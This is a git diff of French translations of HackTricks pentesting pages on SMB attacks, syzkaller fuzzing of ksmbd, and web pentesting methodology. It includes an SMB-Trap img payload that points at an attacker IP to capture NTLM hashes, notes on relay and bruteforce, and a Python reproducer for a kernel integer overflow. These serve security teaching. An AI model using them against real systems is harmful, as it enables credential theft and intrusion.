+### Surface d'attaque ksmbd et fuzzing du protocole SMB2/SMB3 (syzkaller)
{{#ref}}
ksmbd-attack-surface-and-fuzzing-syzkaller.md
{{#endref}}
-## **Bruteforce des identifiants des utilisateurs**
+## **Bruteforce des identifiants d'utilisateurs**
**Ceci n'est pas recommandé, vous pourriez bloquer un compte si vous dépassez le nombre maximal d'essais autorisés**
```bash
@@ -436,35 +436,35 @@ ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid
```
## SMB relay attack
-Cette attaque utilise le toolkit Responder pour **capturer des sessions d'authentification SMB** sur un réseau interne, et les **relayer** vers une **machine cible**. Si la **session d'authentification** est réussie, elle vous ouvrira automatiquement un **shell systÚme**.\
-[**Plus d'informations sur cette attaque ici.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
+Cette attaque utilise le toolkit Responder pour **capture SMB authentication sessions** sur un réseau interne, puis **relays** ces sessions vers une **target machine**. Si la **session is successful**, cela ouvrira automatiquement un **system** **shell**.\
+[**More information about this attack here.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
## SMB-Trap
-La bibliothÚque Windows URLMon.dll tente automatiquement de s'authentifier auprÚs de l'hÎte lorsqu'une page essaie d'accéder à du contenu via SMB, par exemple: `img src="\\10.10.10.10\path\image.jpg"`
+The Windows library URLMon.dll automatically try to authenticaticate to the host when a page tries to access some contect via SMB, for example: `img src="\\10.10.10.10\path\image.jpg"`
-Cela se produit avec les fonctions :
+This happens with the functions:
- URLDownloadToFile
- URLDownloadToCache
- URLOpenStream
- URLOpenBlockingStream
-Qui sont utilisées par certains navigateurs et outils (comme Skype)
+Which are used by some browsers and tools (like Skype)
-.png>)
+.png>)
-### SMBTrap avec MitMf
+### SMBTrap using MitMf
-.png>)
+.png>)
## NTLM Theft
-De la mĂȘme maniĂšre que SMB Trapping, le dĂ©pĂŽt de fichiers malveillants sur un systĂšme cible (via SMB, par exemple) peut provoquer une tentative d'authentification SMB, permettant d'intercepter le hash NetNTLMv2 avec un outil tel que Responder. Le hash peut ensuite ĂȘtre craquĂ© hors ligne ou utilisĂ© dans une [SMB relay attack](#smb-relay-attack).
+Similaire au SMB Trapping, le fait de dĂ©poser des fichiers malveillants sur un systĂšme cible (via SMB, par exemple) peut provoquer une tentative d'authentification SMB, permettant d'intercepter le hash NetNTLMv2 avec un outil tel que Responder. Le hash peut ensuite ĂȘtre crackĂ© hors ligne ou utilisĂ© dans une [SMB relay attack](#smb-relay-attack).
-[Voir : ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
+[See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
-## HackTricks Commandes automatiques
+## HackTricks Automatic Commands
```
Protocol_Name: SMB #Protocol Abbreviation if there is one.
Port_Number: 137,138,139 #Comma separated if there is more than one.
diff --git a/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md
index 337fce815..ddeb7503b 100644
--- a/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md
+++ b/src/network-services-pentesting/pentesting-smb/ksmbd-attack-surface-and-fuzzing-syzkaller.md
@@ -1,55 +1,55 @@
-# ksmbd Surface d'attaque & Fuzzing du protocole SMB2/SMB3 (syzkaller)
+# ksmbd Surface d'attaque & SMB2/SMB3 Protocol Fuzzing (syzkaller)
{{#include ../../banners/hacktricks-training.md}}
## Aperçu
-Cette page résume des techniques pratiques pour exercer et fuzz le serveur SMB in-kernel de Linux (ksmbd) en utilisant syzkaller. Elle se concentre sur l'expansion de la surface d'attaque du protocole via la configuration, la construction d'un harness stateful capable d'enchaßner des opérations SMB2, la génération de PDUs valides selon la grammaire, l'orientation des mutations vers des chemins de code faiblement couverts, et l'exploitation de fonctionnalités de syzkaller telles que focus_areas et ANYBLOB. Alors que la recherche originale énumÚre des CVEs spécifiques, nous mettons ici l'accent sur la méthodologie réutilisable et des extraits concrets que vous pouvez adapter à vos propres environnements.
+Cette page synthétise des techniques pratiques pour exercer et fuzz le serveur SMB en-kernel Linux (ksmbd) en utilisant syzkaller. Elle se concentre sur l'expansion de la surface d'attaque du protocole via la configuration, la construction d'un harnais stateful capable d'enchaßner des opérations SMB2, la génération de PDUs valides grammaticalement, le biaisage des mutations vers des chemins de code faiblement couverts, et l'exploitation des fonctionnalités de syzkaller telles que focus_areas et ANYBLOB. Alors que la recherche originale énumÚre des CVE spécifiques, ici nous mettons l'accent sur la méthodologie réutilisable et des extraits concrets que vous pouvez adapter à vos propres environnements.
-Portée cible : SMB2/SMB3 sur TCP. Kerberos et RDMA sont intentionnellement hors-scope pour garder le harness simple.
+Portée cible : SMB2/SMB3 over TCP. Kerberos et RDMA sont volontairement hors-scope pour garder le harnais simple.
---
## Ătendre la surface d'attaque de ksmbd via la configuration
-Par défaut, une configuration ksmbd minimale laisse de larges parties du serveur non testées. Activez les fonctionnalités suivantes pour faire passer le serveur par des parsers/handlers supplémentaires et atteindre des chemins de code plus profonds :
+Par défaut, une configuration ksmbd minimale laisse de larges parties du serveur non testées. Activez les fonctionnalités suivantes pour pousser le serveur à travers des parseurs/handlers supplémentaires et atteindre des chemins de code plus profonds :
- Global-level
- Durable handles
- Server multi-channel
- SMB2 leases
- Per-share-level
-- Oplocks (on by default)
+- Oplocks (activés par défaut)
- VFS objects
L'activation de ces éléments augmente l'exécution dans des modules tels que :
-- smb2pdu.c (command parsing/dispatch)
-- ndr.c (NDR encode/decode)
-- oplock.c (oplock request/break)
-- smbacl.c (ACL parsing/enforcement)
-- vfs.c (VFS ops)
-- vfs_cache.c (lookup cache)
+- smb2pdu.c (parsing/dispatch des commandes)
+- ndr.c (encodage/décodage NDR)
+- oplock.c (demande/rupture d'oplock)
+- smbacl.c (parsing/renforcement des ACL)
+- vfs.c (opérations VFS)
+- vfs_cache.c (cache de lookup)
Notes
-- Les options exactes dépendent de l'espace utilisateur ksmbd de votre distro (ksmbd-tools). Consultez /etc/ksmbd/ksmbd.conf et les sections per-share pour activer durable handles, leases, oplocks et VFS objects.
-- Multi-channel et durable handles modifient les machines d'état et les durées de vie, souvent faisant ressortir des bugs UAF/refcount/OOB sous concurrence.
+- Les options exactes dépendent des userspace ksmbd de votre distro (ksmbd-tools). Consultez /etc/ksmbd/ksmbd.conf et les sections par-partage pour activer durable handles, leases, oplocks et VFS objects.
+- Multi-channel et durable handles modifient les machines d'état et les durées de vie, révélant souvent des bugs UAF/refcount/OOB sous concurrence.
---
-## Ajustements d'authentification et de rate-limiting pour le fuzzing
-SMB3 nécessite une session valide. Implémenter Kerberos dans les harnesses ajoute de la complexité, donc préférez NTLM/guest pour le fuzzing :
+## Authentification et ajustements de rate-limiting pour le Fuzzing
+SMB3 nécessite une session valide. Implémenter Kerberos dans les harnais ajoute de la complexité, donc préférez NTLM/guest pour le fuzzing :
-- Autorisez guest access et configurez map to guest = bad user afin que les utilisateurs inconnus retombent sur GUEST.
-- Acceptez NTLMv2 (patch policy si désactivé). Cela simplifie le handshake tout en exerçant les chemins de code SMB3.
-- Patcherez les strict credit checks lors d'expérimentations (les durcissements post-hardening pour CVE-2024-50285 ont rendu le crédit simultané plus strict). Sinon, les rate-limits peuvent rejeter des séquences fuzzées trop tÎt.
-- Augmentez le nombre max connections (par ex. à 65536) pour éviter les rejets précoces pendant un fuzzing à haut débit.
+- Autorisez l'accÚs guest et définissez map to guest = bad user afin que les utilisateurs inconnus retombent sur GUEST.
+- Acceptez NTLMv2 (patcher la policy si désactivée). Cela maintient la poignée de main simple tout en exerçant les chemins de code SMB3.
+- Patcherez les contrÎles stricts de credits lors des expérimentations (le durcissement postérieur pour CVE-2024-50285 a rendu le crédit pour opérations simultanées plus strict). Sinon, les rate-limits peuvent rejeter des séquences fuzzées trop tÎt.
+- Augmentez le max connections (p. ex. à 65536) pour éviter des rejets précoces lors d'un fuzzing à haut débit.
-Attention : ces assouplissements facilitent uniquement le fuzzing. Ne déployez pas ces réglages en production.
+Attention : Ces relaxations servent uniquement à faciliter le fuzzing. Ne pas déployer ces réglages en production.
---
-## Stateful Harness : extraire des ressources et enchaĂźner des requĂȘtes
-SMB est stateful : de nombreuses requĂȘtes dĂ©pendent d'identifiants renvoyĂ©s par des rĂ©ponses antĂ©rieures (SessionId, TreeID, FileID pairs). Votre harness doit parser les rĂ©ponses et rĂ©utiliser les IDs au sein du mĂȘme programme pour atteindre des handlers profonds (par ex., smb2_create â smb2_ioctl â smb2_close).
+## Harnais Ă Ă©tats : Extraire des ressources et enchaĂźner des requĂȘtes
+SMB est stateful : beaucoup de requĂȘtes dĂ©pendent d'identifiants retournĂ©s par des rĂ©ponses prĂ©cĂ©dentes (SessionId, TreeID, paires FileID). Votre harnais doit parser les rĂ©ponses et rĂ©utiliser les IDs dans le mĂȘme programme pour atteindre des handlers profonds (p. ex., smb2_create â smb2_ioctl â smb2_close).
-Exemple d'extrait pour traiter un buffer de réponse (en sautant les +4B NetBIOS PDU length) et mettre en cache les IDs :
+Exemple d'extrait pour traiter un buffer de réponse (en sautant les +4B de longueur NetBIOS PDU) et mettre en cache les IDs :
```c
// process response. does not contain +4B PDU length
void process_buffer(int msg_no, const char *buffer, size_t received) {
@@ -76,13 +76,13 @@ break;
}
```
Conseils
-- Gardez un seul processus fuzzer partageant l'authentification/Ă©tat : meilleure stabilitĂ© et couverture avec les tables globales/de session de ksmbd. syzkaller injecte quand mĂȘme de la concurrence en marquant les ops async, et rĂ©exĂ©cute en interne.
-- Le reset_acc_state expérimental de syzkaller peut réinitialiser l'état global mais peut entraßner un fort ralentissement. Privilégiez la stabilité et concentrez-vous sur le fuzzing.
+- Gardez un seul processus fuzzer partageant l'authentification/état : meilleure stabilité et couverture avec les tables globales/session de ksmbd. syzkaller injecte néanmoins de la concurrence en marquant les ops comme async, réexécution en interne.
+- L'option expérimentale reset_acc_state de syzkaller peut réinitialiser l'état global mais introduit un ralentissement important. Privilégiez la stabilité et concentrez-vous sur le fuzzing.
---
-## Génération SMB2 dirigée par une grammaire (PDUs valides)
-Convertissez les structures SMB2 des Microsoft Open Specifications en une grammaire pour fuzzer afin que votre générateur produise des PDUs structurellement valides, qui atteignent systématiquement les dispatchers et les IOCTL handlers.
+## Génération SMB2 pilotée par une grammaire (PDUs valides)
+Traduisez les structures SMB2 des Microsoft Open Specifications en une grammaire pour fuzzer afin que votre générateur produise des PDUs structurellement valides, qui atteignent systématiquement les dispatchers et les IOCTL handlers.
Exemple (SMB2 IOCTL request):
```
@@ -107,12 +107,12 @@ Input array[int8]
Output array[int8]
} [packed]
```
-Ce style impose des tailles/décalages de structure corrects et améliore considérablement la couverture par rapport à la mutation aveugle.
+Ce style force des tailles/décalages de structure corrects et améliore considérablement la couverture par rapport à la mutation aveugle.
---
## Fuzzing dirigé avec focus_areas
-Utilisez le paramÚtre expérimental focus_areas de syzkaller pour donner plus de poids à des fonctions/fichiers spécifiques qui ont actuellement une faible couverture. Exemple JSON:
+Utilisez syzkallerâs experimental focus_areas pour surpondĂ©rer des fonctions/fichiers spĂ©cifiques qui ont actuellement une faible couverture. Exemple JSON:
```json
{
"focus_areas": [
@@ -122,9 +122,9 @@ Utilisez le paramÚtre expérimental focus_areas de syzkaller pour donner plus d
]
}
```
-Cela aide à construire des ACLs valides qui atteignent les chemins arithmetic/overflow dans smbacl.c. Par exemple, un Security Descriptor malveillant avec un dacloffset surdimensionné reproduit un integer-overflow.
+Ceci aide à construire des ACLs valides qui atteignent les chemins arithmetic/overflow dans smbacl.c. Par exemple, un Security Descriptor malveillant avec un dacloffset surdimensionné reproduit un integer-overflow.
-Générateur de reproducer (Python minimal):
+Script de reproduction (Python minimal):
```python
def build_sd():
import struct
@@ -143,8 +143,8 @@ return bytes(sd)
```
---
-## Briser les plateaux de couverture avec ANYBLOB
-syzkaller's anyTypes (ANYBLOB/ANYRES) permettent de réduire des structures complexes en blobs qui mutent de maniÚre générique. Générez un nouveau corpus à partir de pcaps SMB publiques et convertissez les payloads en programmes syzkaller appelant votre pseudo-syscall (p.ex., syz_ksmbd_send_req):
+## Briser les plateaux de coverage avec ANYBLOB
+Les anyTypes de syzkaller (ANYBLOB/ANYRES) permettent de réduire des structures complexes en blobs qui mutent de façon générique. Générez un nouveau corpus à partir de pcaps SMB publics et convertissez les payloads en programmes syzkaller appelant votre pseudo-syscall (e.g., syz_ksmbd_send_req):
```bash
# Extract SMB payloads to JSON
# tshark -r smb2_dac_sample.pcap -Y "smb || smb2" -T json -e tcp.payload > packets.json
@@ -167,14 +167,14 @@ f.write(
f"syz_ksmbd_send_req(&(&(0x7f0000000340))=ANY=[@ANYBLOB=\"{pdu}\"], {hex(pdu_size)}, 0x0, 0x0)"
)
```
-Cela permet de démarrer l'exploration et peut déclencher immédiatement des UAFs (p.ex., dans ksmbd_sessions_deregister) tout en augmentant la couverture de quelques pourcents.
+Cela lance l'exploration et peut immédiatement déclencher des UAFs (p. ex., dans ksmbd_sessions_deregister) tout en augmentant la couverture de quelques pourcents.
---
-## Sanitizers: Au-delĂ de KASAN
-- KASAN reste le détecteur principal pour les bugs liés au tas (UAF/OOB).
+## Sanitizers : Au-delĂ de KASAN
+- KASAN reste le principal détecteur pour les bogues de heap (UAF/OOB).
- KCSAN produit souvent des faux positifs ou des data races de faible gravité sur cette cible.
-- UBSAN/KUBSAN peut détecter des erreurs de bornes déclarées que KASAN manque en raison de la sémantique des indices de tableau. Exemple:
+- UBSAN/KUBSAN peut détecter des erreurs de bornes déclarées que KASAN manque à cause de la sémantique des indices de tableau. Exemple:
```c
id = le32_to_cpu(psid->sub_auth[psid->num_subauth - 1]);
struct smb_sid {
@@ -182,24 +182,24 @@ __u8 revision; __u8 num_subauth; __u8 authority[NUM_AUTHS];
__le32 sub_auth[SID_MAX_SUB_AUTHORITIES]; /* sub_auth[num_subauth] */
} __attribute__((packed));
```
-Définir num_subauth = 0 déclenche une lecture OOB dans la structure de sub_auth[-1], détectée par les declared-bounds checks d'UBSAN.
+Définir num_subauth = 0 déclenche une lecture in-struct OOB de sub_auth[-1], détectée par les declared-bounds checks d'UBSAN.
---
-## Remarques sur le débit et le parallélisme
-- Un seul processus fuzzer (auth/state partagĂ©) a tendance Ă ĂȘtre nettement plus stable pour ksmbd tout en mettant toujours en Ă©vidence des races/UAFs grĂące Ă l'async executor interne de syzkaller.
-- Avec plusieurs VMs, vous pouvez toujours atteindre plusieurs centaines de commandes SMB par seconde au total. Une couverture au niveau des fonctions d'environ ~60% de fs/smb/server et ~70% de smb2pdu.c est atteignable, bien que la couverture des transitions d'état soit sous-représentée par de tels métriques.
+## Notes sur le débit et le parallélisme
+- Un seul processus fuzzer (auth/state partagĂ©) a tendance Ă ĂȘtre significativement plus stable pour ksmbd et met nĂ©anmoins au jour des races/UAFs grĂące Ă l'async executor interne de syzkaller.
+- Avec plusieurs VM, vous pouvez toujours atteindre des centaines de commandes SMB par seconde au total. Une couverture au niveau fonction d'environ ~60% de fs/smb/server et ~70% de smb2pdu.c est atteignable, bien que la couverture des transitions d'état soit sous-représentée par de tels métriques.
---
-## Liste de contrĂŽle pratique
-- Activer durable handles, leases, multi-channel, oplocks et VFS objects dans ksmbd.
-- Autoriser guest et map-to-guest ; accepter NTLMv2. Supprimer les credit limits et augmenter le max connections pour la stabilité du fuzzer.
-- Construire un harness stateful qui met en cache SessionId/TreeID/FileIDs et enchaĂźne create â ioctl â close.
-- Utiliser une grammaire pour SMB2 PDUs afin de maintenir la validité structurelle.
-- Utiliser focus_areas pour surpondérer les fonctions faiblement couvertes (par ex., des chemins dans smbacl.c comme smb_check_perm_dacl).
-- Seed avec ANYBLOB provenant de vrais pcaps pour casser les plateaux ; packer les seeds avec syz-db pour réutilisation.
-- Lancer avec KASAN + UBSAN ; trier attentivement les rapports declared-bounds d'UBSAN.
+## Checklist pratique
+- Activez durable handles, leases, multi-channel, oplocks et VFS objects dans ksmbd.
+- Autorisez guest et map-to-guest ; acceptez NTLMv2. Ăliminez les credit limits et augmentez le max connections pour la stabilitĂ© du fuzzer.
+- Construisez un stateful harness qui met en cache SessionId/TreeID/FileIDs et enchaĂźne create â ioctl â close.
+- Utilisez une grammar pour SMB2 PDUs afin de maintenir la validité structurelle.
+- Utilisez focus_areas pour surpondérer les fonctions faiblement couvertes (par ex., chemins de smbacl.c comme smb_check_perm_dacl).
+- Grainez avec ANYBLOB tiré de pcaps réels pour franchir les plateaux ; packez les seeds avec syz-db pour réutilisation.
+- Exécutez avec KASAN + UBSAN ; triez soigneusement les rapports declared-bounds d'UBSAN.
---
@@ -214,6 +214,6 @@ Définir num_subauth = 0 déclenche une lecture OOB dans la structure de sub_aut
- KCSAN: https://docs.kernel.org/dev-tools/kcsan.html
- Microsoft Open Specifications (SMB): https://learn.microsoft.com/openspecs/
- Wireshark Sample Captures: https://wiki.wireshark.org/SampleCaptures
-- Lecture de fond: pwning.tech âTickling ksmbd: fuzzing SMB in the Linux kernelâ; Dongliang Muâs syzkaller notes
+- Lecture de fond: pwning.tech âTickling ksmbd: fuzzing SMB in the Linux kernelâ; notes syzkaller de Dongliang Mu
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md
index 01ecfd99b..6d2fcb04a 100644
--- a/src/network-services-pentesting/pentesting-web/README.md
+++ b/src/network-services-pentesting/pentesting-web/README.md
@@ -1,12 +1,12 @@
-# 80,443 - Méthodologie de pentesting Web
+# 80,443 - Méthodologie de Pentesting Web
{{#include ../../banners/hacktricks-training.md}}
-## Informations de base
+## Infos de base
-Le service web est le service le plus **courant et étendu** et de nombreux **types différents de vulnérabilités** existent.
+Le service web est le service le plus **courant et étendu** et de nombreux **types de vulnérabilités** existent.
-Port par défaut : 80 (HTTP), 443 (HTTPS)
+**Port par défaut :** 80 (HTTP), 443 (HTTPS)
```bash
PORT STATE SERVICE
80/tcp open http
@@ -17,7 +17,7 @@ PORT STATE SERVICE
nc -v domain.com 80 # GET / HTTP/1.0
openssl s_client -connect domain.com:443 # GET / HTTP/1.0
```
-### Conseils pour Web API
+### Guide des API Web
{{#ref}}
@@ -26,36 +26,36 @@ web-api-pentesting.md
## Résumé de la méthodologie
-> Dans cette méthodologie, nous supposerons que vous allez attaquer un domaine (ou sous-domaine) et uniquement celui-ci. Vous devez donc appliquer cette méthodologie à chaque domaine, sous-domaine ou IP découvert(e) avec un serveur web indéterminé dans le scope.
+> Dans cette méthodologie, nous allons supposer que vous allez attaquer un domaine (ou sous-domaine) et uniquement celui-ci. Donc, vous devez appliquer cette méthodologie à chaque domaine, sous-domaine ou IP découvert avec un serveur web indéterminé dans le scope.
-- [ ] Commencez par **identifier** les **technologies** utilisĂ©es par le serveur web. Cherchez des **tricks** Ă garder en tĂȘte pendant le reste du test si vous parvenez Ă identifier la tech.
-- [ ] Existe-t-il une **known vulnerability** pour la version de la technologie ?
-- [ ] Utilisez-vous une **well known tech** ? Un **useful trick** pour extraire plus d'informations ?
-- [ ] Y a-t-il un **specialised scanner** Ă lancer (comme wpscan) ?
-- [ ] Lancez des **general purposes scanners**. On ne sait jamais s'ils vont trouver quelque chose ou des informations intéressantes.
-- [ ] Commencez par les **initial checks** : **robots**, **sitemap**, erreur **404** et **SSL/TLS scan** (si HTTPS).
-- [ ] Commencez le **spidering** de la page web : c'est le moment de **trouver** tous les **fichiers, dossiers** et **paramÚtres utilisés.** Vérifiez aussi les **trouvailles particuliÚres**.
-- [ ] _Notez que chaque fois qu'un nouveau rĂ©pertoire est dĂ©couvert lors du brute-forcing ou du spidering, il doit ĂȘtre spidered._
-- [ ] **Directory Brute-Forcing** : Essayez de brute-forcer tous les dossiers découverts en recherchant de nouveaux **fichiers** et **répertoires**.
-- [ ] _Notez que chaque fois qu'un nouveau rĂ©pertoire est dĂ©couvert lors du brute-forcing ou du spidering, il doit ĂȘtre Brute-Forced._
-- [ ] **Backups checking** : Testez si vous pouvez trouver des **backups** des **fichiers découverts** en ajoutant des extensions de sauvegarde courantes.
-- [ ] **Brute-Force parameters** : Essayez de **trouver des paramÚtres cachés**.
-- [ ] Une fois que vous avez **identifié** tous les **endpoints** possibles acceptant **user input**, vérifiez tous les types de **vulnerabilities** qui leur sont liés.
-- [ ] [Suivez cette checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
+- [ ] Commencez par **identifier** les **technologies** utilisĂ©es par le serveur web. Cherchez des **trucs** Ă garder en tĂȘte pendant le reste du test si vous parvenez Ă identifier la tech.
+- [ ] Existe-t-il une **vulnérabilité connue** pour la version de la technologie ?
+- [ ] Utilisez-vous une **technologie bien connue** ? Une **astuce utile** pour extraire plus d'informations ?
+- [ ] Y a-t-il un **scanner spécialisé** à exécuter (comme wpscan) ?
+- [ ] Lancez des **scanners à usage général**. On ne sait jamais s'ils vont trouver quelque chose ou des informations intéressantes.
+- [ ] Commencez par les **vérifications initiales** : **robots**, **sitemap**, erreur **404** et **SSL/TLS scan** (si HTTPS).
+- [ ] Commencez le **spidering** de la page web : il est temps de **trouver** tous les **fichiers, dossiers** et **paramÚtres utilisés.** Vérifiez aussi les **trouvailles particuliÚres**.
+- [ ] _Notez que chaque fois qu'un nouveau rĂ©pertoire est dĂ©couvert lors de brute-forcing ou de spidering, il doit ĂȘtre spidered._
+- [ ] **Directory Brute-Forcing**: Essayez de brute-forcer tous les dossiers découverts pour rechercher de nouveaux **fichiers** et **répertoires**.
+- [ ] _Notez que chaque fois qu'un nouveau rĂ©pertoire est dĂ©couvert lors de brute-forcing ou de spidering, il doit ĂȘtre Brute-Forced._
+- [ ] **Backups checking**: Testez si vous pouvez trouver des **backups** des **fichiers découverts** en ajoutant des extensions de backup courantes.
+- [ ] **Brute-Force parameters**: Essayez de **trouver des paramÚtres cachés**.
+- [ ] Une fois que vous avez **identifié** tous les **endpoints** possibles acceptant des **entrées utilisateur**, vérifiez tous les types de **vulnérabilités** qui leur sont liés.
+- [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
## Version du serveur (Vulnérable ?)
-### Identification
+### Identifier
-Vérifiez s'il existe des **known vulnerabilities** pour la version du serveur en cours d'exécution.\
-Les **HTTP headers and cookies of the response** peuvent ĂȘtre trĂšs utiles pour **identifier** les **technologies** et/ou la **version** utilisĂ©e. Un **Nmap scan** peut identifier la version du serveur, mais les outils [**whatweb**](https://github.com/urbanadventurer/WhatWeb), [**webtech** ](https://github.com/ShielderSec/webtech) ou [**https://builtwith.com/**](https://builtwith.com) peuvent Ă©galement ĂȘtre utiles :
+Vérifiez s'il existe des **vulnérabilités connues** pour la **version** du serveur en cours d'exécution.\
+Les **en-tĂȘtes HTTP et les cookies de la rĂ©ponse** peuvent ĂȘtre trĂšs utiles pour **identifier** les **technologies** et/ou la **version** utilisĂ©e. **Nmap scan** peut identifier la version du serveur, mais les outils [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)ou [**https://builtwith.com/**](https://builtwith.com)**:**
```bash
whatweb -a 1 #Stealthy
whatweb -a 3 #Aggresive
webtech -u
webanalyze -host https://google.com -crawl 2
```
-Rechercher **pour** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
+Rechercher **les** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
### **Vérifier s'il y a un WAF**
@@ -63,7 +63,7 @@ Rechercher **pour** [**vulnerabilities of the web application** **version**](../
- [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
- [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
-### Astuces techniques Web
+### Astuces pour les technologies Web
Quelques **astuces** pour **trouver des vulnérabilités** dans différentes **technologies** bien connues utilisées :
@@ -102,25 +102,26 @@ Quelques **astuces** pour **trouver des vulnérabilités** dans différentes **t
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
- [**Sitecore**](sitecore/index.html)
-_Prenez en compte que le **mĂȘme domaine** peut utiliser **diffĂ©rentes technologies** sur diffĂ©rents **ports**, **dossiers** et **sous-domaines**._\
-Si l'application web utilise l'une des **technologies/plateformes listĂ©es ciâdessus** ou **une autre**, n'oubliez pas de **chercher sur Internet** de nouvelles astuces (et faitesâm'en part !).
+_Tenez compte que le **mĂȘme domaine** peut utiliser **diffĂ©rentes technologies** sur diffĂ©rents **ports**, **dossiers** et **sous-domaines**._\
+Si l'application web utilise une **tech/plateforme** bien connue listée ci-dessus ou **toute autre**, n'oubliez pas de **chercher sur Internet** de nouvelles astuces (et informez-moi !).
-### Revue du code source
+### Source Code Review
-Si le **code source** de l'application est disponible sur **github**, en plus d'effectuer par vousâmĂȘme un White box test de l'application, il existe **des informations** qui pourraient ĂȘtre **utiles** pour le prĂ©sent **Black-Box testing** :
+Si le **code source** de l'application est disponible sur **github**, en plus d'effectuer par **vous-mĂȘme un White box test** de l'application, il existe **des informations** qui pourraient ĂȘtre **utiles** pour le **Black-Box testing** en cours :
+
+- Y a-t-il un **Change-log or Readme or Version** file ou tout élément avec des **version info accessible** via le web ?
+- How and where are saved the **credentials**? Is there any (accessible?) **file** with credentials (usernames or passwords)?
+- Are **passwords** in **plain text**, **encrypted** or which **hashing algorithm** is used?
+- Is it using any **master key** for encrypting something? Which **algorithm** is used?
+- Can you **access any of these files** exploiting some vulnerability?
+- Is there any **interesting information in the github** (solved and not solved) **issues**? Or in **commit history** (maybe some **password introduced inside an old commit**)?
-- Existeâtâil un fichier **Change-log or Readme or Version** ou autre contenant des **version info accessible** via le web ?
-- Comment et oĂč sont sauvegardĂ©es les **credentials** ? Y aâtâil un (fichier accessible ?) **file** avec des credentials (usernames or passwords) ?
-- Les **passwords** sontâils en **plain text**, **encrypted** ou quel **hashing algorithm** est utilisĂ© ?
-- Utiliseâtâelle une **master key** pour chiffrer quelque chose ? Quel **algorithm** est utilisĂ© ?
-- Pouvezâvous **access any of these files** en exploitant une vulnĂ©rabilitĂ© ?
-- Y aâtâil des **informations intĂ©ressantes dans le github** (issues rĂ©solues ou non) ? Ou dans l'**commit history** (peutâĂȘtre un **password** introduit dans un ancien commit) ?
{{#ref}}
code-review-tools.md
{{#endref}}
-### Scanners automatiques
+### Automatic scanners
#### Scanners automatiques à usage général
```bash
@@ -134,12 +135,12 @@ nuclei -ut && nuclei -target
# https://github.com/ignis-sec/puff (client side vulns fuzzer)
node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi2rVUN/?query=FUZZ"
```
-#### Scanners CMS
+#### Scanners de CMS
-Si un CMS est utilisé, n'oubliez pas de **lancer un scanner**, vous pourriez y trouver quelque chose d'intéressant :
+Si un CMS est utilisé, n'oubliez pas de **lancer un scanner**, il se peut que quelque chose d'intéressant soit trouvé :
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
-[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** sites web pour détecter des problÚmes de sécurité. (GUI)\
+[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** sites web pour des failles de sécurité. (GUI)\
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **ou** [**(M)oodle**](moodle.md)\
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
@@ -149,45 +150,45 @@ wpscan --force update -e --url
joomscan --ec -u
joomlavs.rb #https://github.com/rastating/joomlavs
```
-> Ă ce stade vous devriez dĂ©jĂ disposer de certaines informations sur le serveur web utilisĂ© par le client (si des donnĂ©es sont fournies) et de quelques astuces Ă garder en tĂȘte pendant le test. Si vous avez de la chance, vous avez mĂȘme trouvĂ© un CMS et exĂ©cutĂ© un scanner.
+> Ă ce stade, vous devriez dĂ©jĂ disposer de certaines informations sur le serveur web utilisĂ© par le client (si des donnĂ©es sont fournies) et de quelques astuces Ă garder Ă l'esprit pendant le test. Si vous avez de la chance, vous avez mĂȘme trouvĂ© un CMS et lancĂ© un scanner.
-## Step-by-step Web Application Discovery
+## Découverte étape par étape de l'application Web
-> From this point we are going to start interacting with the web application.
+> Ă partir de ce point, nous allons commencer Ă interagir avec l'application Web.
-### Initial checks
+### Vérifications initiales
-**Default pages with interesting info:**
+**Pages par défaut contenant des informations intéressantes :**
- /robots.txt
- /sitemap.xml
- /crossdomain.xml
- /clientaccesspolicy.xml
- /.well-known/
-- Check also comments in the main and secondary pages.
+- Vérifiez également les commentaires dans les pages principales et secondaires.
-**Forcing errors**
+**Forcer des erreurs**
-Web servers may **behave unexpectedly** when weird data is sent to them. This may open **vulnerabilities** or **disclosure sensitive information**.
+Les serveurs web peuvent **se comporter de maniÚre inattendue** lorsque des données étranges leur sont envoyées. Cela peut ouvrir des **vulnérabilités** ou provoquer une **disclosure sensitive information**.
